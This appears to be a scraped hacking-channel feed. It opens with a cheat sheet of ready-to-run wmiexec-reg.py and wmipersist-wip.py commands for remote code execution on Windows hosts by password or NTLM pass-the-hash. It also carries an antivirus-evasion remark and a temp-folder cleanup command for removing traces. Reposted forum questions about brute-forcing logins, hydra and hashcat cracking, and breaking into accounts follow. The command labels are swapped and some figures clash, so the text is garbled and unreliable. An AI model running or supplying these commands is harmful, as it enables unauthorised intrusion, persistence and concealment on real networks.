With NTLM hashes python3 wmiexec-reg.py administrator:111qqq...@192.168.10.90 'whoami'

___________________________
@hacking_Attack
@Hacking_Video

wmipersist-wip.py usage (Default is no output): With cleartext password (without output) python3 wmiexec-reg.py -hashes e91d2eafde47de62c6c49a012b3a6af1:e91d2eafde47de62c6c49a012b3a6af1 administrator@192.168.10.90 'whoami'

___________________________
@hacking_Attack
@Hacking_Video

With NTLM hashes python3 wmipersist-wip.py administrator:111qqq...@192.168.10.20 'command'

___________________________
@hacking_Attack
@Hacking_Video

With output python3 wmipersist-wip.py -hashes e91d2eafde47de62c6c49a012b3a6af1:e91d2eafde47de62c6c49a012b3a6af1 administrator@192.168.10.90 'whoami'

___________________________
@hacking_Attack
@Hacking_Video

Under Huorong antivirus-software (Using WMIHACKER (https://www.kitploit.com/search/label/WMIHACKER) VBS template!!!)

___________________________
@hacking_Attack
@Hacking_Video

Cheatsheet Do not forget to clean up temp directory after run command with out put.
Command: del /q /f /s C:\windows\temp\*

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Brute force with only password field! \determined-newbie

I am trying to write a python script that takes password entries from a file, paste it on the password field, run it and go on to the next one if its wrong (usual brute force sitch). My problem being all the prebuilt scripts ask for username input which I cannot use here and also how I cant give the tool an url to work with as its a proper one protected with a session ID, using the url elsewhere will just redirect to the homepage. I'M CLUELESS. SEND HELP.

submitted by /u/Puddin2yerHarley
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Use remote VM on local network?

So basically I am trying to pentest a server using a windows 10 laptop in which i cannot install kali, but i do have ssh access to a remote kali which has all the pentesting tools. The goal is to use hydra to crack a ssh server using the remote kali, can I somehow forward stuff on the kali to my windows 10 laptop, so I am using a cloud kali to attack my internal network?

Context: my network, my server, laptop has no virtualization.

submitted by /u/bootsareme
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hashcat Combination Attack - Separator Unmatched

I'm trying to crack a AES-256 hash with acombination attack of two dictionarylists in hashcat. I put the following things in the command line:

... hashcat.exe -a 1 -m 23003 [directorypath]\hash.txt [directorypath]\list1.txt [directorypath]\list2.txt

It returns "Hasfile on line 1 [$zip2$*0*3*0*1 ... $/zip2$] : separator unmatched"

Why do I get this error message?

NOTE: I am not familiar with programming and programming terminology at all. It already took me a whole while to get to this point.

submitted by /u/Ancestral_Recall
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How to learn hacking into my old accounts?

When I don’t remember the email or password. And i don’t have the number associated with those accounts anymore.

Youtube mainly

submitted by /u/alexzyczia
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The Great Instagram Runaround

https://cdn-images-1.medium.com/max/2600/1*lljBOZwEXmN2Z3Cqwu6GfQ.jpeg
Your IG account got hacked? Good luck with that, bucko!

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The Solana Money Heist: $320,000,000 stolen

https://cdn-images-1.medium.com/max/1024/1*T2eznCt2WzY-DCeuT4XscA.png
Hackers have just taken advantage of the famous Solana Wormhole bridge, stealing 80K ETH (212.3 million). 80,000 in Wrapped ETH (wETH) was…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video